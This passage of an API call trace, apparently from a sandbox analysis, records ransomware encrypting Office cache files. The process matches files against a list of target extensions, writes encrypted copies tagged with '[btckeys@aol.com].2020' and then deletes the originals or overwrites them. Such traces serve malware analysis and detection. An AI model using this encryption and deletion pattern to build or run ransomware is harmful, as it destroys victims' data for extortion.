Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.951] lstrlenW (lpString=".1cd") returned 4 [0079.951] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.951] lstrlenW (lpString=".jpg") returned 4 [0079.951] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.951] lstrlenW (lpString=".doc") returned 4 [0079.952] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.952] lstrlenW (lpString=".docx") returned 5 [0079.952] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0079.952] lstrlenW (lpString=".pdf") returned 4 [0079.952] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.952] lstrlenW (lpString=".xls") returned 4 [0079.952] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.952] lstrlenW (lpString=".xlsx") returned 5 [0079.952] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0079.952] lstrlenW (lpString=".ppt") returned 4 [0079.952] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.952] lstrlenW (lpString=".zip") returned 4 [0079.952] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.952] lstrlenW (lpString=".rar") returned 4 [0079.952] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.952] lstrlenW (lpString=".bz2") returned 4 [0079.952] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.952] lstrlenW (lpString=".7z") returned 3 [0079.952] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.952] lstrlenW (lpString=".dbf") returned 4 [0079.952] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.952] lstrlenW (lpString=".1cd") returned 4 [0079.952] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.952] lstrlenW (lpString=".jpg") returned 4 [0079.953] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.953] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0079.953] lstrlenW (lpString="PidGenX.dll") returned 11 [0079.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0079.953] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=1463568) returned 1 [0079.953] CloseHandle (hObject=0x218) returned 1 [0079.954] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0079.954] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0079.954] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.954] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.954] GetLastError () returned 0x0 [0079.954] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0xffff0, lpOverlapped=0x0) returned 1 [0079.986] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0080.357] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x65520, lpOverlapped=0x0) returned 1 [0080.377] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0x65530, lpOverlapped=0x0) returned 1 [0080.433] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0080.433] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.433] SetEndOfFile (hFile=0x208) returned 1 [0080.475] CloseHandle (hObject=0x208) returned 1 [0080.475] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.475] SetEndOfFile (hFile=0x218) returned 1 [0080.480] CloseHandle (hObject=0x218) returned 1 [0080.481] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0080.481] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0080.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.481] lstrlenW (lpString=".doc") returned 4 [0080.481] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.481] lstrlenW (lpString=".docx") returned 5 [0080.482] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0080.482] lstrlenW (lpString=".pdf") returned 4 [0080.482] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.482] lstrlenW (lpString=".xls") returned 4 [0080.482] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.482] lstrlenW (lpString=".xlsx") returned 5 [0080.482] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0080.482] lstrlenW (lpString=".ppt") returned 4 [0080.482] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.482] lstrlenW (lpString=".zip") returned 4 [0080.482] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.482] lstrlenW (lpString=".rar") returned 4 [0080.482] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.482] lstrlenW (lpString=".bz2") returned 4 [0080.482] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.482] lstrlenW (lpString=".7z") returned 3 [0080.482] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.482] lstrlenW (lpString=".dbf") returned 4 [0080.482] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.482] lstrlenW (lpString=".1cd") returned 4 [0080.482] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.482] lstrlenW (lpString=".jpg") returned 4 [0080.482] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.483] lstrlenW (lpString=".doc") returned 4 [0080.483] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.483] lstrlenW (lpString=".docx") returned 5 [0080.483] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0080.483] lstrlenW (lpString=".pdf") returned 4 [0080.483] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.483] lstrlenW (lpString=".xls") returned 4 [0080.483] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.483] lstrlenW (lpString=".xlsx") returned 5 [0080.483] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0080.483] lstrlenW (lpString=".ppt") returned 4 [0080.483] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.483] lstrlenW (lpString=".zip") returned 4 [0080.483] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.483] lstrlenW (lpString=".rar") returned 4 [0080.483] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.483] lstrlenW (lpString=".bz2") returned 4 [0080.483] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.483] lstrlenW (lpString=".7z") returned 3 [0080.483] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.483] lstrlenW (lpString=".dbf") returned 4 [0080.483] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.483] lstrlenW (lpString=".1cd") returned 4 [0080.484] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.484] lstrlenW (lpString=".jpg") returned 4 [0080.484] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.484] lstrcmpiW (lpString1=".exe", lpString2=".2020") returned 1 [0080.484] lstrlenW (lpString="setup.exe") returned 9 [0080.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0080.484] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=1377656) returned 1 [0080.484] CloseHandle (hObject=0x218) returned 1 [0080.485] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0080.485] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0080.485] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.485] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.485] GetLastError () returned 0x0 [0080.486] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0xffff0, lpOverlapped=0x0) returned 1 [0080.818] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0080.834] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x50588, lpOverlapped=0x0) returned 1 [0080.920] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0x50590, lpOverlapped=0x0) returned 1 [0080.933] ReadFile (in: hFile=0x218, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0080.933] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0080.933] SetEndOfFile (hFile=0x208) returned 1 [0080.934] CloseHandle (hObject=0x208) returned 1 [0080.934] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.934] SetEndOfFile (hFile=0x218) returned 1 [0080.938] CloseHandle (hObject=0x218) returned 1 [0080.939] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0080.939] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0080.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.939] lstrlenW (lpString=".doc") returned 4 [0080.939] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0080.940] lstrlenW (lpString=".docx") returned 5 [0080.940] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0080.940] lstrlenW (lpString=".pdf") returned 4 [0080.940] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0080.940] lstrlenW (lpString=".xls") returned 4 [0080.940] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0080.940] lstrlenW (lpString=".xlsx") returned 5 [0080.940] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0080.940] lstrlenW (lpString=".ppt") returned 4 [0080.940] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0080.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.940] lstrlenW (lpString=".zip") returned 4 [0080.940] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0080.940] lstrlenW (lpString=".rar") returned 4 [0080.940] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0080.940] lstrlenW (lpString=".bz2") returned 4 [0080.940] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0080.940] lstrlenW (lpString=".7z") returned 3 [0080.940] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0080.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.940] lstrlenW (lpString=".dbf") returned 4 [0080.940] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0080.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.940] lstrlenW (lpString=".1cd") returned 4 [0080.940] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0080.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.941] lstrlenW (lpString=".jpg") returned 4 [0080.941] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0080.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.941] lstrlenW (lpString=".doc") returned 4 [0080.941] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0080.941] lstrlenW (lpString=".docx") returned 5 [0080.941] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0080.941] lstrlenW (lpString=".pdf") returned 4 [0080.941] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0080.941] lstrlenW (lpString=".xls") returned 4 [0080.941] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0080.941] lstrlenW (lpString=".xlsx") returned 5 [0080.941] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0080.941] lstrlenW (lpString=".ppt") returned 4 [0080.941] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0080.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.941] lstrlenW (lpString=".zip") returned 4 [0080.941] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0080.941] lstrlenW (lpString=".rar") returned 4 [0080.941] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0080.941] lstrlenW (lpString=".bz2") returned 4 [0080.941] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0080.941] lstrlenW (lpString=".7z") returned 3 [0080.942] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0080.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.942] lstrlenW (lpString=".dbf") returned 4 [0080.942] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0080.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.942] lstrlenW (lpString=".1cd") returned 4 [0080.942] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0080.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0080.942] lstrlenW (lpString=".jpg") returned 4 [0080.942] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0080.942] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0080.942] lstrlenW (lpString="Office32WW.msi") returned 14 [0080.942] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0080.943] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=1992192) returned 1 [0080.943] CloseHandle (hObject=0x218) returned 1 [0080.943] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0080.943] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.943] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0080.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0081.144] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0081.154] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0081.154] ReadFile (in: hFile=0x218, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.162] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0081.162] ReadFile (in: hFile=0x218, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.180] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0081.180] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0081.180] ReadFile (in: hFile=0x218, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.213] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.213] WriteFile (in: hFile=0x218, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0081.470] SetEndOfFile (hFile=0x218) returned 1 [0081.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0081.512] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0081.512] WriteFile (in: hFile=0x218, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.514] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0081.514] WriteFile (in: hFile=0x218, lpBuffer=0x3f74fa0*, 